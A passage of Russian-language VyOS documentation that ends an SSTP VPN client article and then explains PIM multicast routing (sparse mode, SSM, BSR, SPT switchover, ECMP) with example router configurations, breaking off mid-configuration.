show pki ca VPN-CA

# Имейте backup CA certs
```

### 6. Documentation

```bash
# Документируйте все в description
set interfaces sstpc sstpc0 description 'Corporate SSTP - vpn.company.com - Port 443'
```

## Миграция с VyOS 1.4 на 1.5

SSTP конфигурация совместима между версиями:

**VyOS 1.4:**
```bash
set interfaces sstpc sstpc0 server 'vpn.example.com'
set interfaces sstpc sstpc0 authentication username 'user'
set interfaces sstpc sstpc0 authentication password 'pass'
```

**VyOS 1.5:**
```bash
set interfaces sstpc sstpc0 server 'vpn.example.com'
set interfaces sstpc sstpc0 authentication username 'user'
set interfaces sstpc sstpc0 authentication password 'pass'
```

**Изменения:** Синтаксис остается тем же, миграция прозрачная.

## Заключение

SSTP предоставляет надежное VPN решение для сценариев с ограничивающими файрволами:

**Преимущества:**
- Bypass файрволов через порт 443
- SSL/TLS шифрование
- Работа через HTTP прокси
- Windows Server совместимость
- Простая настройка

**Применение:**
- Remote access VPN через ограничивающие сети
- Backup VPN канал (всегда доступный)
- Site-to-Site через ISP с блокировками
- Корпоративные сети с жесткими политиками

**Лучшие практики:**
- Правильная настройка MTU (1452) и MSS clamping
- SSL certificate verification в production
- Firewall rules для защиты
- Monitoring и logging
- Split-tunnel когда возможно
- Резервирование через dual VPN

SSTP в VyOS обеспечивает надежное VPN соединение в самых ограничивающих сетевых средах, являясь отличным дополнением к IPsec, OpenVPN и WireGuard для комплексной VPN стратегии.

## Дополнительные ресурсы

- [VyOS SSTP Client Documentation](https://docs.vyos.io/en/latest/configuration/interfaces/sstp-client.html)
- [SSTP Protocol Specification - MS-SSTP](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sstp/)
- [SSL/TLS Best Practices](https://ssl-config.mozilla.org/)
- [PPP Protocol - RFC 1661](https://tools.ietf.org/html/rfc1661)
- [WireGuard VPN](/docs/vyos/vpn/vyos-wireguard/) - для сравнения
- [OpenVPN](/docs/vyos/vpn/vyos-openvpn/) - альтернативный VPN
- [IPsec VPN](/docs/vyos/vpn/vyos-ipsec/) - enterprise VPN


---

# PIM - Protocol Independent Multicast (IPv4)

Source: https://opennix.org/docs/vyos/routing/vyos-pim/


PIM (Protocol Independent Multicast) - это семейство протоколов multicast маршрутизации, обеспечивающих эффективное распределение multicast трафика в IP сетях.

## Обзор

**PIM** - протокол независимой от unicast маршрутизации multicast доставки:
- Работает поверх любого unicast routing протокола (OSPF, BGP, IS-IS, статические маршруты)
- Поддерживает сложные топологии с множеством источников и получателей
- Масштабируется до тысяч multicast групп
- Используется в data center, enterprise, service provider сетях

**Стандарты**:
- **RFC 7761** - PIM-SM (Sparse Mode) - основной режим
- **RFC 3973** - PIM-DM (Dense Mode) - устаревший
- **RFC 4607** - SSM (Source-Specific Multicast)
- **RFC 5059** - Bootstrap Router (BSR)
- **RFC 4601** - PIM-SM v2

**VyOS поддерживает**:
- **PIM-SM (Sparse Mode)** - с явным RP (Rendezvous Point)
- **PIM-SSM (Source-Specific Multicast)** - с IGMPv3
- **Bootstrap Router (BSR)** - динамическое распределение RP
- **SPT (Shortest Path Tree) switchover** - оптимизация путей
- **ECMP (Equal-Cost Multi-Path)** - балансировка multicast потоков

**Применение**:
- IPTV сервисы в сетях провайдеров
- Видео конференции и корпоративное вещание
- Финансовые данные (market data feeds)
- Data center multicast приложения
- Multicast VPN

## PIM Режимы работы

### PIM-SM (Sparse Mode)

**PIM Sparse Mode** - режим для сетей, где multicast получатели распределены редко (sparse).

**Принцип работы**:
1. **RP (Rendezvous Point)** - центральная точка встречи источников и получателей
2. Источники регистрируются на RP (Register сообщения)
3. Получатели отправляют Join к RP (через промежуточные роутеры)
4. RP пересылает трафик по Shared Tree (общее дерево от RP)
5. Опционально переключение на SPT (Shortest Path Tree) - прямой путь от источника

**Терминология**:
- **RP (Rendezvous Point)** - роутер-посредник между источниками и получателями
- **Shared Tree (*,G)** - общее дерево от RP к получателям
- **Source Tree (S,G)** - shortest path дерево от источника к получателям
- **DR (Designated Router)** - выбранный роутер на сегменте для PIM операций
- **BSR (Bootstrap Router)** - роутер для динамического распределения RP информации

**Преимущества**:
- Эффективен для распределенных получателей
- Масштабируется до больших сетей
- Поддерживает множество источников
- Оптимизация через SPT switchover

**Недостатки**:
- Требует конфигурацию RP
- Сложнее в настройке чем IGMP Proxy
- Требует больше ресурсов

### PIM-DM (Dense Mode)

**PIM Dense Mode** - режим для сетей, где получатели плотно распределены.

**Принцип работы**:
- Flood-and-Prune: трафик сначала отправляется везде
- Роутеры без получателей отправляют Prune (отказ)
- Периодическое обновление (каждые 3 минуты)

**Статус**: Устаревший, не рекомендуется к использованию.

**VyOS**: Не поддерживает PIM-DM.

### PIM-SSM (Source-Specific Multicast)

**PIM Source-Specific Multicast** - упрощенная версия PIM для известных источников.

**Принцип работы**:
- Получатели подписываются на конкретный источник (S,G), а не только группу (G)
- Требует IGMPv3 на клиентской стороне
- Не требует RP (Rendezvous Point)
- Всегда использует SPT (Shortest Path Tree)
- Используется диапазон 232.0.0.0/8 (зарезервирован для SSM)

**Преимущества**:
- Простота конфигурации (нет RP)
- Оптимальные пути (всегда SPT)
- Высокая безопасность (известные источники)
- Меньше служебного трафика

**Применение**:
- IPTV с известными источниками
- Видео конференции
- Финансовые данные

**IGMPv3 требование**:
- Клиенты должны поддерживать IGMPv3
- Указывают как группу, так и источник
- Синтаксис: IGMP JOIN (S,G)

## PIM Компоненты

### Rendezvous Point (RP)

**RP** - центральный роутер для встречи источников и получателей в PIM-SM.

**Функции RP**:
- Регистрация источников (получает Register сообщения)
- Пересылка Join/Prune между источниками и получателями
- Построение Shared Tree (*,G)
- Пересылка multicast трафика

**Типы RP конфигурации**:
1. **Статический RP** - вручную настроенный на всех роутерах
2. **BSR (Bootstrap Router)** - динамическое распределение RP информации
3. **Auto-RP** - Cisco проприетарный механизм (не поддерживается VyOS)

**Placement RP**:
- Центральное расположение в сети
- Высокая доступность и bandwidth
- Стабильное соединение со всеми роутерами
- Рекомендуется VRRP/HSRP для redundancy

### Designated Router (DR)

**DR** - выбранный роутер на multi-access сегменте (Ethernet) для PIM операций.

**Функции DR**:
- Отправка Register сообщений от источников к RP
- Отправка Join/Prune к RP от получателей
- Обработка IGMP членств
- Предотвращение дублирования трафика

**DR Election**:
- Выбирается роутер с наивысшим DR Priority
- При равном priority - наивысший IP адрес
- Hello сообщения (каждые 30 секунд по умолчанию)

**Настройка DR Priority**:
```
set protocols pim interface eth0 dr-priority 100
```

Значения: 1-4294967294 (выше = приоритетнее), по умолчанию 1.

### Bootstrap Router (BSR)

**BSR** - механизм динамического распределения RP информации в PIM домене.

**Функции BSR**:
- Автоматическое распределение RP-to-Group маппингов
- Выбор BSR роутера (bootstrap election)
- Периодические Bootstrap сообщения
- Устранение необходимости статической конфигурации RP на всех роутерах

**BSR Election**:
- Роутер с наивысшим BSR Priority побеждает
- При равном priority - наивысший IP адрес
- Bootstrap сообщения каждые 60 секунд

**Candidate-RP**:
- Роутеры-кандидаты на роль RP
- Отправляют Candidate-RP-Advertisement к BSR
- BSR распространяет список RP

**Преимущества BSR**:
- Автоматическая конфигурация
- Динамическое failover RP
- Масштабируемость
- Стандартизированный (RFC 5059)

## Базовая конфигурация PIM-SM

### Простая PIM-SM с статическим RP

**Сценарий**: 3 роутера, один RP, один источник, получатели на разных сегментах.

**Топология**:
```
[Source] --- eth1 --- [R1] --- eth0 --- [R2-RP] --- eth0 --- [R3] --- eth1 --- [Receivers]
  10.1.1.0/24                  10.0.1.0/30      10.0.2.0/30         192.168.1.0/24
  239.1.1.1
```

**Router R1 (первый hop от источника)**:
```
# Интерфейс к источнику
set interfaces ethernet eth1 address 10.1.1.1/24

# Интерфейс к RP
set interfaces ethernet eth0 address 10.0.1.1/30

# Unicast routing (OSPF или статические маршруты)
set protocols ospf parameters router-id 10.255.0.1
set protocols ospf area 0 network 10.0.0.0/8

# PIM на интерфейсах
set protocols pim interface eth0
set protocols pim interface eth1

# Статический RP для всех групп
set protocols pim rp address 10.255.0.2

commit
save
```

**Router R2 (RP)**:
```
# Интерфейсы
set interfaces ethernet eth0 address 10.0.1.2/30
set interfaces ethernet eth1 address 10.0.2.1/30
set interfaces loopback lo address 10.255.0.2/32

# OSPF
set protocols ospf parameters router-id 10.255.0.2
set protocols ospf area 0 network 10.0.0.0/8
set protocols ospf area 0 network 10.255.0.2/32

# PIM на всех интерфейсах
set protocols pim interface eth0
set protocols pim interface eth1
set protocols pim interface lo

# Этот роутер - RP
set protocols pim rp address 10.255.0.2

commit
save
```

**Router R3 (последний hop к получателям)**:
```
# Интерфейсы
set interfaces ethernet eth0 address 10.0.2.2/30
set interfaces ethernet eth1 address 192.168.1.1/24

# OSPF
set protocols ospf parameters router-id 10.255.0.3
set protocols ospf area 0 network 10.0.0.0/8
set protocols ospf area 0 network 192.168.1.0/24

# PIM
set protocols pim interface eth0
set protocols pim interface eth1

# IGMP на интерфейсе к получателям
set protocols pim interface eth1 igmp

# Статический RP
set protocols pim rp address 10.255.0.2

commit
save
```

**Проверка**:
```
# На всех роутерах
show ip pim interface
show ip pim neighbor
show ip pim rp-info

# На R2 (RP)
show ip pim rp-info
show ip pim state

# На R3 (с получателями)
show igmp groups
show ip pim join
```

### RP для конкретных групп

**Назначение разных RP для разных диапазонов групп**.

**Router конфигурация**:
```
# RP1 для групп 239.1.0.0/16
set protocols pim rp address 10.255.0.2 group 239.1.0.0/16

# RP2 для групп 239.2.0.0/16
set protocols pim rp address 10.255.0.3 group 239.2.0.0/16

# Default RP для всех остальных
set protocols pim rp address 10.255.0.4

commit
save
```

**Применение**:
- Разделение нагрузки между RP
- Географическое распределение
- Разные источники для разных сервисов

### IGMP интеграция

**PIM требует IGMP** на интерфейсах к получателям для обработки IGMP Join/Leave.

**Конфигурация IGMP**:
```
# Включить IGMP на интерфейсе
set protocols pim interface eth1 igmp

# IGMP версия (2 или 3)
set protocols pim interface eth1 igmp version 3

# IGMP Query Interval (секунды)
set protocols pim interface eth1 igmp query-interval 125

# IGMP Query Max Response Time (секунды)
set protocols pim interface eth1 igmp query-max-response-time 10

commit
save
```

**IGMPv2 vs IGMPv3**:
- **IGMPv2**: (*,G) подписки - любой источник для группы
- **IGMPv3**: (S,G) подписки - конкретный источник для группы (SSM)

## PIM-SSM конфигурация

### Простая SSM конфигурация

**PIM-SSM** - Source-Specific Multicast для известных источников.

**SSM диапазон**: 232.0.0.0/8 (IANA зарезервирован)

**Конфигурация на всех роутерах**:
```
# Интерфейсы
set protocols pim interface eth0
set protocols pim interface eth1

# SSM prefix list (не требуется если используется стандартный диапазон 232.0.0.0/8)
# Но можно явно указать для ясности
set protocols pim ssm prefix-list SSM-RANGE

# Prefix list для SSM
set policy prefix-list SSM-RANGE rule 10 action permit
set policy prefix-list SSM-RANGE rule 10 prefix 232.0.0.0/8

# IGMP v3 (обязательно для SSM)
set protocols pim interface eth1 igmp
set protocols pim interface eth1 igmp version 3

commit
save
```

**SSM не требует RP** - прямые пути от источников к получателям.

**Проверка**:
```
show ip pim state
show ip pim upstream
show igmp groups
```

### SSM с кастомными диапазонами

**Расширение SSM на другие диапазоны**.

**Конфигурация**:
```
# Определить prefix list для SSM
set policy prefix-list SSM-CUSTOM rule 10 action permit
set policy prefix-list SSM-CUSTOM rule 10 prefix 232.0.0.0/8
set policy prefix-list SSM-CUSTOM rule 20 action permit
set policy prefix-list SSM-CUSTOM rule 20 prefix 239.100.0.0/16

# Применить к PIM
set protocols pim ssm prefix-list SSM-CUSTOM

# IGMP v3
set protocols pim interface eth1 igmp version 3

commit
save
```

**Применение**:
- Использование organization-local диапазонов для SSM
- Миграция с ASM (Any-Source Multicast) к SSM

## SPT (Shortest Path Tree) Switchover

### SPT Switchover концепция

**SPT Switchover** - переключение с Shared Tree (*,G через RP) на Source Tree (S,G прямо от источника).

**Процесс**:
1. Получатель сначала получает трафик через RP (Shared Tree)
2. После первого пакета от источника роутер узнает source IP
3. Роутер оценивает стоимость пути
4. Если прямой путь лучше - создается (S,G) entry
5. Join отправляется напрямую к источнику
6. Prune отправляется к RP для (*,G)
7. Трафик идет по оптимальному пути

**По умолчанию**: VyOS переключается на SPT немедленно при получении первого пакета.

### Отключение SPT Switchover

**Infinity-and-Beyond** - запрет переключения на SPT, всегда использовать RP.

**Конфигурация**:
```
set protocols pim spt-switchover infinity-and-beyond

commit
save
```

**Применение**:
- Централизованный контроль трафика через RP
- Упрощенная топология
- Debugging и troubleshooting

**Недостаток**:
- Неоптимальные пути (triangle routing)
- Повышенная нагрузка на RP
- Увеличенная задержка

### SPT Switchover с prefix list

**Селективное переключение на SPT** для определенных групп.

**Конфигурация**:
```
# Создать prefix list для групп с SPT switchover
set policy prefix-list SPT-GROUPS rule 10 action permit
set policy prefix-list SPT-GROUPS rule 10 prefix 239.1.0.0/16

# Применить
set protocols pim spt-switchover prefix-list SPT-GROUPS

commit
save
```

**Результат**:
- Группы из 239.1.0.0/16 - используют SPT
- Остальные группы - остаются на Shared Tree через RP

## ECMP (Equal-Cost Multi-Path)

### ECMP для multicast

**ECMP** - балансировка multicast потоков по нескольким равноценным путям.

**По умолчанию**: PIM использует один путь (lowest IP next-hop).

**Включение ECMP**:
```
set protocols pim ecmp

commit
save
```

**Эффект**:
- Разные (S,G) flows распределяются по разным next-hops
- Улучшенная балансировка нагрузки
- Более эффективное использование bandwidth

### ECMP Rebalance

**ECMP Rebalance** - перераспределение потоков при отказе интерфейса.

**Конфигурация**:
```
set protocols pim ecmp
set protocols pim ecmp rebalance

commit
save
```

**Поведение**:
- При отказе одного next-hop потоки перераспределяются на оставшиеся
- Автоматическая балансировка
- Повышенная отказоустойчивость

**Примечание**: Может вызвать кратковременные дубликаты пакетов во время перераспределения.

## PIM Интерфейс параметры

### Hello Interval

**Hello интервал** - частота отправки PIM Hello сообщений.

**Конфигурация**:
```
set protocols pim interface eth0 hello <seconds>

commit
save
```

**Значения**: 1-180 секунд, по умолчанию 30 секунд.

**Пример**:
```
set protocols pim interface eth0 hello 10

commit
save
```

**Применение**:
- Уменьшение для быстрого обнаружения соседей (10-15 сек)
- Увеличение для снижения служебного трафика (60-120 сек)

**Hold Time**: Автоматически устанавливается как 3.5 * hello-interval.

### DR Priority

**DR Priority** - приоритет для выбора Designated Router.

**Конфигурация**:
```
set protocols pim interface eth0 dr-priority <priority>

commit
save
```

**Значения**: 1-4294967294, по умолчанию 1.

**Пример**:
```
# Роутер с высоким приоритетом станет DR
set protocols pim interface eth0 dr-priority 100

commit
save
```

**Применение**:
- Контроль выбора DR на multi-access сегментах
- Предпочтение более мощных роутеров
- Load balancing между роутерами

### Passive Interface

**Passive интерфейс** - принимать PIM сообщения, но не отправлять.

**Конфигурация**:
```
set protocols pim interface eth0 passive

commit
save
```

**Применение**:
- Интерфейсы к источникам (source-only)
- Снижение служебного трафика
- Безопасность (не отвечать на внешние PIM запросы)

**Примечание**: IGMP продолжает работать.

## PIM Timing параметры

### Join-Prune Interval

**Join-Prune Interval** - частота отправки Join/Prune сообщений upstream.

**Конфигурация**:
```
set protocols pim join-prune-interval <seconds>

commit
save
```

**Значения**: 60-600 секунд, по умолчанию 60 секунд.

**Пример**:
```
set protocols pim join-prune-interval 120

commit
save
```

**Эффект**:
- Меньшее значение - быстрее реакция на изменения, больше трафика
- Большее значение - меньше служебного трафика, медленнее сходимость

### Keep-Alive Timer

**Keep-Alive Timer** - время хранения (S,G) state без трафика.

**Конфигурация**:
```
set protocols pim keep-alive-timer <seconds>

commit
save
```

**Значения**: 31-60000 секунд, по умолчанию 210 секунд.

**Пример**:
```
set protocols pim keep-alive-timer 300

commit
save
```

**Применение**:
- Увеличение для редких multicast потоков (periodic broadcasts)
- Уменьшение для экономии памяти (short-lived sessions)

## Register параметры

### Register Suppress Time

**Register Suppress Time** - время подавления Register сообщений от DR к RP.

**По умолчанию**: 60 секунд (hardcoded в FRR).

**Описание**:
- После получения Register-Stop от RP, DR подавляет Register сообщения
- Периодически отправляет Null-Register для проверки интереса
- Если RP снова заинтересован - возобновляет Register

**Настройка**: Не доступна в VyOS CLI (управляется FRR внутренне).

### Register Accept List

**Register Accept List** - фильтрация источников, которые могут регистрироваться на RP.

**Применение**: Безопасность на RP - разрешить только доверенные источники.

**Примечание**: Не реализовано в текущей версии VyOS PIM (FRR).

## Bootstrap Router (BSR) конфигурация

### BSR Candidate

**Настройка роутера как BSR Candidate**.

**Конфигурация**:
```
# Определить интерфейс для BSR адреса
set protocols pim interface lo

# Loopback адрес
set interfaces loopback lo address 10.255.0.1/32

# BSR Candidate
set protocols pim bsr candidate-bsr address 10.255.0.1
set protocols pim bsr candidate-bsr priority 100

commit
save
```

**Параметры**:
- **address**: IP адрес этого роутера для BSR
- **priority**: 0-255, выше = приоритетнее, по умолчанию 0

**BSR Election**:
- Роутер с наивысшим priority побеждает
- При равном priority - наивысший IP адрес

### Candidate-RP

**Настройка роутера как Candidate-RP** (кандидат на роль RP).

**Конфигурация**:
```
# Candidate-RP для всех групп
set protocols pim bsr candidate-rp address 10.255.0.1

# Candidate-RP для конкретных групп
set protocols pim bsr candidate-rp address 10.255.0.1 group 239.1.0.0/16
set protocols pim bsr candidate-rp address 10.255.0.1 priority 192

commit
save
```

**Параметры**:
- **address**: IP адрес этого роутера как RP
- **group**: Диапазон групп (опционально)
- **priority**: 0-255, выше = приоритетнее, по умолчанию 192

**Процесс**:
1. Candidate-RP отправляет Candidate-RP-Advertisement к BSR
2. BSR собирает список всех Candidate-RP
3. BSR распространяет RP-Set через Bootstrap сообщения
4. Все PIM роутеры получают RP mappings автоматически

### Полная BSR конфигурация

**Сценарий**: 2 роутера - один BSR и RP, второй backup.

**Router 1 (Primary BSR и RP)**:
```
# Loopback
set interfaces loopback lo address 10.255.0.1/32

# OSPF для loopback
set protocols ospf area 0 network 10.255.0.1/32

# PIM на интерфейсах
set protocols pim interface eth0
set protocols pim interface eth1
set protocols pim interface lo

# BSR Candidate с высоким приоритетом
set protocols pim bsr candidate-bsr address 10.255.0.1
set protocols pim bsr candidate-bsr priority 200

# Candidate-RP с высоким приоритетом
set protocols pim bsr candidate-rp address 10.255.0.1
set protocols pim bsr candidate-rp priority 200

commit
save
```

**Router 2 (Backup BSR и RP)**:
```
# Loopback
set interfaces loopback lo address 10.255.0.2/32

# OSPF
set protocols ospf area 0 network 10.255.0.2/32

# PIM
set protocols pim interface eth0
set protocols pim interface eth1
set protocols pim interface lo

# BSR Candidate с низким приоритетом
set protocols pim bsr candidate-bsr address 10.255.0.2
set protocols pim bsr candidate-bsr priority 100

# Candidate-RP с низким приоритетом
set protocols pim bsr candidate-rp address 10.255.0.2
set protocols pim bsr candidate-rp priority 100

commit
save
```

**На всех остальных роутерах**: Только PIM на интерфейсах, не нужна статическая RP конфигурация.

**Проверка**:
```
show ip pim bsr
show ip pim rp-info
```

## Примеры конфигурации

### Пример 1: IPTV провайдер (Yandex Cloud)

**Сценарий**:
- VyOS роутер в Yandex Cloud как PIM-SM для IPTV
- RP на центральном роутере
- Источник: IPTV сервер 10.100.0.50
- Клиенты: в сетях 192.168.0.0/16
- Группы: 239.10.0.0/16

**Топология**:
```
[IPTV Server] --- eth1 --- [R1-DR] --- eth0 --- [R2-RP] --- eth0 --- [R3] --- eth1 --- [STB]
  10.100.0.50                        10.0.1.0/30      10.0.2.0/30       192.168.10.0/24
  239.10.1.1-255                                                        Set-Top Boxes
```

**Router R1 (First-hop DR)**:
```
# Интерфейсы
set interfaces ethernet eth1 address 10.100.0.1/24
set interfaces ethernet eth1 description 'To IPTV Server'
set interfaces ethernet eth0 address 10.0.1.1/30
set interfaces ethernet eth0 description 'To RP'

# OSPF
set protocols ospf parameters router-id 10.255.0.1
set protocols ospf area 0 network 10.0.0.0/8
set protocols ospf area 0 network 10.100.0.0/24

# PIM на интерфейсах
set protocols pim interface eth0
set protocols pim interface eth0 dr-priority 100

set protocols pim interface eth1
set protocols pim interface eth1 dr-priority 200
set protocols pim interface eth1 hello 10

# Статический RP
set protocols pim rp address 10.255.0.2 group 239.10.0.0/16

# Firewall для PIM
set firewall ipv4 input filter rule 100 action accept
set firewall ipv4 input filter rule 100 description 'Allow PIM'
set firewall ipv4 input filter rule 100 protocol pim

commit
save
```

**Router R2 (RP)**:
```
# Интерфейсы
set interfaces ethernet eth0 address 10.0.1.2/30
set interfaces ethernet eth1 address 10.0.2.1/30
set interfaces loopback lo address 10.255.0.2/32
set interfaces loopback lo description 'RP Address'

# OSPF
set protocols ospf parameters router-id 10.255.0.2
set protocols ospf area 0 network 10.0.0.0/8
set protocols ospf area 0 network 10.255.0.2/32

# PIM на всех интерфейсах
set protocols pim interface eth0
set protocols pim interface eth1
set protocols pim interface lo

# Этот роутер - RP
set protocols pim rp address 10.255.0.2 group 239.10.0.0/16

# ECMP для балансировки
set protocols pim ecmp
set protocols pim ecmp rebalance

# Firewall
set firewall ipv4 input filter rule 100 action accept
set firewall ipv4 input filter rule 100 protocol pim

commit
save
```

**Router R3 (Last-hop к клиентам)**:
```
# Интерфейсы
set interfaces ethernet eth0 address 10.0.2.2/30
set interfaces ethernet eth1 address 192.168.10.1/24
set interfaces ethernet eth1 description 'To Set-Top Boxes'

# OSPF
set protocols ospf parameters router-id 10.255.0.3
set protocols ospf area 0 network 10.0.0.0/8
set protocols ospf area 0 network 192.168.10.0/24

# PIM
set protocols pim interface eth0
set protocols pim interface eth1

# IGMP на интерфейсе к клиентам
set protocols pim interface eth1 igmp
set protocols pim interface eth1 igmp version 2
set protocols pim interface eth1 igmp query-interval 125

# Статический RP
set protocols pim rp address 10.255.0.2 group 239.10.0.0/16

# Firewall для IGMP и PIM
set firewall ipv4 input filter rule 100 action accept
set firewall ipv4 input filter rule 100 protocol igmp

set firewall ipv4 input filter rule 110 action accept
set firewall ipv4 input filter rule 110 protocol pim

# Разрешить multicast трафик
set firewall ipv4 input filter rule 120 action accept
set firewall ipv4 input filter rule 120 destination address 239.10.0.0/16
set firewall ipv4 input filter rule 120 description 'Allow IPTV multicast'

commit
save
```

**Проверка**:
```
# На всех роутерах
show ip pim interface
show ip pim neighbor
show ip pim rp-info

# На R1 (источник)
show ip pim upstream

# На R2 (RP)
show ip pim state
show ip pim rp-info

# На R3 (получатели)
show igmp groups
show ip pim join
show ip pim state
```

**Мониторинг**:
```
# Multicast трафик
tcpdump -i eth1 -n host 239.10.1.1

# PIM сообщения
tcpdump -i eth0 -n proto 103

# Статистика
show interfaces ethernet eth0
show interfaces ethernet eth1
```

### Пример 2: Video Streaming SSM (VK Cloud)

**Сценарий**:
- VK Cloud: PIM-SSM для корпоративного видео вещания
- Видео серверы: 10.50.0.0/24 (известные источники)
- SSM диапазон: 232.1.0.0/16
- Клиенты с IGMPv3 поддержкой
- Распределение по офисам

**Топология**:
```
[Video Server 1] --- eth1 --- [R1] --- eth0 ---|
  10.50.0.10                                   |
  232.1.1.1                                    |--- [R2-Core] --- eth1 --- [R3] --- eth2 --- [Office A]
                                               |                                    192.168.10.0/24
[Video Server 2] --- eth2 --- [R1] --- eth0 ---|
  10.50.0.20
  232.1.2.1
```

**Router R1 (First-hop от источников)**:
```
# Интерфейсы
set interfaces ethernet eth1 address 10.50.0.1/24
set interfaces ethernet eth1 description 'Video Servers'
set interfaces ethernet eth0 address 10.0.1.1/30
set interfaces ethernet eth0 description 'To Core'

# OSPF
set protocols ospf parameters router-id 10.255.0.1
set protocols ospf area 0 network 10.0.0.0/8
set protocols ospf area 0 network 10.50.0.0/24

# PIM
set protocols pim interface eth0
set protocols pim interface eth1
set protocols pim interface eth1 dr-priority 200

# SSM prefix list
set policy prefix-list SSM-VIDEO rule 10 action permit
set policy prefix-list SSM-VIDEO rule 10 prefix 232.1.0.0/16

set protocols pim ssm prefix-list SSM-VIDEO

# Firewall
set firewall ipv4 input filter rule 100 action accept
set firewall ipv4 input filter rule 100 protocol pim

commit
save
```

**Router R2 (Core Router)**:
```
# Интерфейсы
set interfaces ethernet eth0 address 10.0.1.2/30
set interfaces ethernet eth1 address 10.0.2.1/30
set interfaces loopback lo address 10.255.0.2/32

# OSPF
set protocols ospf parameters router-id 10.255.0.2
set protocols ospf area 0 network 10.0.0.0/8
set protocols ospf area 0 network 10.255.0.2/32

# PIM на интерфейсах
set protocols pim interface eth0
set protocols pim interface eth1
set protocols pim interface lo

# SSM
set policy prefix-list SSM-VIDEO rule 10 action permit
set policy prefix-list SSM-VIDEO rule 10 prefix 232.1.0.0/16

set protocols pim ssm prefix-list SSM-VIDEO

# ECMP
set protocols pim ecmp
set protocols pim ecmp rebalance

# Firewall
set firewall ipv4 input filter rule 100 action accept
set firewall ipv4 input filter rule 100 protocol pim

commit
save
```

**Router R3 (Last-hop к офису)**:
```
# Интерфейсы
set interfaces ethernet eth1 address 10.0.2.2/30
set interfaces ethernet eth2 address 192.168.10.1/24
set interfaces ethernet eth2 description 'Office A'

# OSPF
set protocols ospf parameters router-id 10.255.0.3
set protocols ospf area 0 network 10.0.0.0/8
set protocols ospf area 0 network 192.168.10.0/24

# PIM
set protocols pim interface eth1
set protocols pim interface eth2

# IGMP v3 (обязательно для SSM)
set protocols pim interface eth2 igmp
set protocols pim interface eth2 igmp version 3
set protocols pim interface eth2 igmp query-interval 125

# SSM
set policy prefix-list SSM-VIDEO rule 10 action permit
set policy prefix-list SSM-VIDEO rule 10 prefix 232.1.0.0/16

set protocols pim ssm prefix-list SSM-VIDEO

# Firewall
set firewall ipv4 input filter rule 100 action accept
set firewall ipv4 input filter rule 100 protocol igmp

set firewall ipv4 input filter rule 110 action accept
set firewall ipv4 input filter rule 110 protocol pim

set firewall ipv4 input filter rule 120 action accept
set firewall ipv4 input filter rule 120 destination address 232.1.0.0/16

commit
save
```

**Тестирование клиента** (Linux с IGMPv3):
```bash
# Подписка на (S,G) с IGMPv3
# Источник: 10.50.0.10, Группа: 232.1.1.1
socat UDP4-RECV:5000,sourceport=5000,ip-add-source-membership=232.1.1.1:10.50.0.10:eth0 STDOUT

# Или с VLC
vlc udp://@232.1.1.1:5000
```

**Проверка SSM**:
```
# На всех роутерах
show ip pim state
show ip pim upstream

# На R3
show igmp groups
show igmp sources
```

### Пример 3: PIM с BSR (Auto-configuration)

**Сценарий**:
- Автоматическое распределение RP через BSR
- 2 Candidate-RP (redundancy)
- 1 Primary BSR, 1 Backup BSR
- Все роутеры получают RP mappings автоматически

**Router R1 (Primary BSR и Primary RP)**:
```
# Интерфейсы
set interfaces loopback lo address 10.255.0.1/32
set interfaces ethernet eth0 address 10.0.1.1/30
set interfaces ethernet eth1 address 10.0.2.1/30

# OSPF
set protocols ospf parameters router-id 10.255.0.1
set protocols ospf area 0 network 10.0.0.0/8
set protocols ospf area 0 network 10.255.0.1/32

# PIM
set protocols pim interface eth0
set protocols pim interface eth1
set protocols pim interface lo

# BSR Candidate - высокий priority
set protocols pim bsr candidate-bsr address 10.255.0.1
set protocols pim bsr candidate-bsr priority 200

# Candidate-RP - высокий priority
set protocols pim bsr candidate-rp address 10.255.0.1
set protocols pim bsr candidate-rp priority 200

commit
save
```

**Router R2 (Backup BSR и Backup RP)**:
```
# Интерфейсы
set interfaces loopback lo address 10.255.0.2/32
set interfaces ethernet eth0 address 10.0.1.2/30
set interfaces ethernet eth1 address 10.0.3.1/30

# OSPF
set protocols ospf parameters router-id 10.255.0.2
set protocols ospf area 0 network 10.0.0.0/8
set protocols ospf area 0 network 10.255.0.2/32

# PIM
set protocols pim interface eth0
set protocols pim interface eth1
set protocols pim interface lo

# BSR Candidate - низкий priority
set protocols pim bsr candidate-bsr address 10.255.0.2
set protocols pim bsr candidate-bsr priority 100

# Candidate-RP - низкий priority
set protocols pim bsr candidate-rp address 10.255.0.2
set protocols pim bsr candidate-rp priority 100

commit
save
```

**Router R3, R4, R5 (Regular PIM routers)**:
```
# Только PIM на интерфейсах
set protocols pim interface eth0
set protocols pim interface eth1

# Не требуется статический RP!
# RP информация получается автоматически от BSR

commit
save
```

**Проверка BSR**:
```
# На всех роутерах
show ip pim bsr

# Вывод покажет:
# PIMv2 Bootstrap information
# BSR address: 10.255.0.1 (priority 200)
# Uptime: 00:15:23, BSR Candidate priority: 200
# RP Set:
#   Group 224.0.0.0/4
#     RP: 10.255.0.1 (priority 200, holdtime 150s)
#     RP: 10.255.0.2 (priority 100, holdtime 150s)

show ip pim rp-info

# Вывод:
# RP: 10.255.0.1 (primary, learned via BSR)
# Group: 224.0.0.0/4
```

**Failover тестирование**:
```
# Выключить R1 (Primary BSR/RP)
# На R2 автоматически станет BSR
# Все роутеры переключатся на RP 10.255.0.2
```

### Пример 4: Multi-RP для разных сервисов

**Сценарий**:
- RP1 для IPTV (239.1.0.0/16)
- RP2 для Video Conferencing (239.2.0.0/16)
- RP3 для Financial Data (239.3.0.0/16)
- Load balancing между RP

**RP1 Router**:
```
set interfaces loopback lo address 10.255.0.1/32
set protocols ospf area 0 network 10.255.0.1/32

set protocols pim interface eth0
set protocols pim interface lo

# RP для IPTV
set protocols pim rp address 10.255.0.1 group 239.1.0.0/16

commit
save
```

**RP2 Router**:
```
set interfaces loopback lo address 10.255.0.2/32
set protocols ospf area 0 network 10.255.0.2/32

set protocols pim interface eth0
set protocols pim interface lo

# RP для Video Conf
set protocols pim rp address 10.255.0.2 group 239.2.0.0/16

commit
save
```

**RP3 Router**:
```
set interfaces loopback lo address 10.255.0.3/32
set protocols ospf area 0 network 10.255.0.3/32

set protocols pim interface eth0
set protocols pim interface lo

# RP для Financial Data
set protocols pim rp address 10.255.0.3 group 239.3.0.0/16

commit
save
```

**Все остальные роутеры**:
```
set protocols pim interface eth0
set protocols pim interface eth1

# Все три RP
set protocols pim rp address 10.255.0.1 group 239.1.0.0/16
set protocols pim rp address 10.255.0.2 group 239.2.0.0/16
